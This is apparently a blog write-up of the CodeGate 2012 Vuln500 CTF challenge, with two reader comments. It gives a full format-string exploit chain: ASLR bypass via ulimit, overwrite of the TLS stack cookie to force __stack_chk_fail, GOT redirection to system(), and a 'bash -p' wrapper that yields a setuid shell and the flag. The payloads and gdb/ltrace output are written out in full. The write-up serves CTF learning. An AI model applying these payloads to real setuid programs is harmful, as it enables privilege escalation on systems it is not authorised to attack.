CodeGate 2012 Quals Vuln500 Write-up

ID : yesMan
PWD : ohyeah123

Download vulnerable binary.

Vuln500 was a hardened format-string vuln with ASLR, NX-stack, no-DTORs, RO .dynamic

The vuln

Simple format-string vulnerability:

yesMan@ubuntu:~$ ./X 'hello %p %p %p %p %p'
hello 0xbfdedea6 0x100 0x804825c 0xb7846b48 0xbfde0002

The obstacles

But it’s not that easy to exploit:

  • Non-executable stack:
root@bt:~/Desktop# execstack X.bin 
- X.bin

We’ll use ret2libc technique instead of jumping on stack.

  • ASLR turned on:
Libc ASLR:
yesMan@ubuntu:~$ ldd ./X =>  (0xb78b0000) => /lib/tls/i686/cmov/ (0xb7750000)
        /lib/ (0xb78b1000)
yesMan@ubuntu:~$ ldd ./X =>  (0xb7769000) => /lib/tls/i686/cmov/ (0xb7609000)
        /lib/ (0xb776a000)

Stack ASLR:
yesMan@ubuntu:/tmp/v$ gdb -q --args ~/X
Reading symbols from /home/yesMan/X...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048477
(gdb) r
Starting program: /home/yesMan/X

Breakpoint 1, 0x08048477 in main ()
(gdb) p/x $esp
$1 = 0xbfb27aa8
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/yesMan/X

Breakpoint 1, 0x08048477 in main ()
(gdb) p/x $esp
$2 = 0xbfdb3818

Partially circumventable using ulimit -s unlimited:

yesMan@ubuntu:~$ ulimit -s unlimited
yesMan@ubuntu:~$ ldd ./X =>  (0x4001d000) => /lib/tls/i686/cmov/ (0x40024000)
        /lib/ (0x40000000)
yesMan@ubuntu:~$ ldd ./X =>  (0x4001d000) => /lib/tls/i686/cmov/ (0x40024000)
        /lib/ (0x40000000)
  • Non-exploitable DTOR fashion:

Hard-coded _DTOR_END__, and no DTORs present.

  • Read-only .dynamic section and _fini pointer.
  • However, GOT is writable at run time.

Taking over the control

With writable GOT we can transfer the execution to any address by overwriting an imported library function address. But, after printf no foreign functions are executed under normal conditions. The only opportunity to exploit GOT overwrite is to corrupt stack canary and get __stack_chk_fail called.

We have two ways to force __stack_chk_fail executed:

  • Overwrite local STK_COOKIE variable at [ebp – 0x14]
  • Overwrite saved etalon stack cookie at gs:[0x14]

First way is very unreliable because of stack ASLR. It involves overwriting several addresses at stack with garbage, hoping that we match with current randomized stack address and STK_COOKIE gets overwritten. It’s a way to go if we have a spare 30 minutes for bruteforcing stack ASLR.

Second way is more interesting, because it provides 100% exploit reliability.

Flat Memory Model

When the CPU runs across a segment selector (gs: is one) in flat memory model, it reads LDT to find the segment’s base address, and simply adds up that base and offset specified to get linear memory address to work with.

cs: and ds: (default segments) normally have base of 0x0, so reading from gs:[0x14] is equal to reading from ds:[base_of_GS + 0x14]

To get base of GS I used getting a core dump and then analyzing it with eu-readelf (package elfutils):

yesMan@ubuntu:/tmp/v$ ulimit -c 1024
yesMan@ubuntu:/tmp/v$ cp ~/X ./
yesMan@ubuntu:/tmp/v$ ./X '%n%n%n%n'
Segmentation fault (core dumped)
root@bt:~/Desktop# eu-readelf -a core.dump
  LINUX                 48  386_TLS
    index: 6, base: 0x4017e6c0, limit: 0x000fffff, flags: 0x00000051
    index: 7, base: 0x00000000, limit: 0x00000000, flags: 0x00000028
    index: 8, base: 0x00000000, limit: 0x00000000, flags: 0x00000028

gs: segment base address is 0x4017e6c0, so saved stack cookie resides at 0x4017e6d4.

The exploit

Steps to get a shell:
1. Overwrite saved stack cookie with some trash
2. Overwrite __stack_chk_fail at GOT with address of system@glibc
3. Check what is the argument to system() and give that name to our malicious executable

(gdb) p/x &system
$1 = 0x4005d100

system@glibc is at 0x4005d100

Imported __stack_chk_fail address should be overwritten at 0x0804a010

Addresses for overwriting can be passed to printf via env. We need a script to run the executable with modified environment, that we spray with 3 addresses that we need to overwrite:

env -i "PATH=.:$PATH" "A=`perl -e'print"\xd4\xe6\x17\x40"x5000;print"\x10\xa0\x04\x08"x5000;print"\x12\xa0\x04\x08"x5000;'`" $1 $2 $3 $4 $5 $6 $7 $8 $9

Let’s check our gs: stack cookie overwrite trick:

yesMan@ubuntu:/tmp/v$ ./r ltrace ~/X '%2500$n'
__libc_start_main(0x8048474, 2, 0xbf881f64, 0x8048520, 0x8048510 <unfinished ...>
strncpy(0xbf881d9c, "%2500$n", 256)
printf("%2500$n", 0xbf882533)
__stack_chk_fail(0xbf881d9c, 0xbf882533, 256, 0x804825c, 0x4001fb48
*** stack smashing detected ***: /home/yesMan/X terminated

Works like a charm! We tricked the binary into believing we smashed the stack.
Now we add GOT overwriting:

yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null
sh: %2500%53504d%7500%28421d%12500: not found

Great! system() gets executed, and sh conveniently tells us what binary it is missing. Let’s give it what it wants ;-)

yesMan@ubuntu:/tmp/v$ cat > %2500%53504d%7500%28421d%12500
bash -p
yesMan@ubuntu:/tmp/v$ chmod +x %2500%53504d%7500%28421d%12500
yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null
bash-4.1$ id >&2
uid=1001(yesMan) gid=1001(yesMan) euid=1002(yesMan2) groups=1001(yesMan)
bash-4.1$ _


bash-4.1$ cat /home/yesMan/password >&2

Flag is Format_String_Bug_Hunter!@#$


    • notleet on April 25, 2012 at 03:50
    • Reply

    Hey, I’m trying to reproduce this, but when I get to the step of eu-readelf core and get this output however I see that the index does not match with your output. Mine starts with index 12, is it the same? Thanks

      • vos on April 25, 2012 at 12:47
      • Reply

      Yes, this it ok. The segment offset mask is 0x000fffff shows it is the GS segment.

      Although, your glibc address space seems to be randomized, since the segment has a base of 0xf75896c0. Make sure you circumvented ASLR using ulimit -s unlimited before taking the core dump.

Leave a Reply

Your email address will not be published.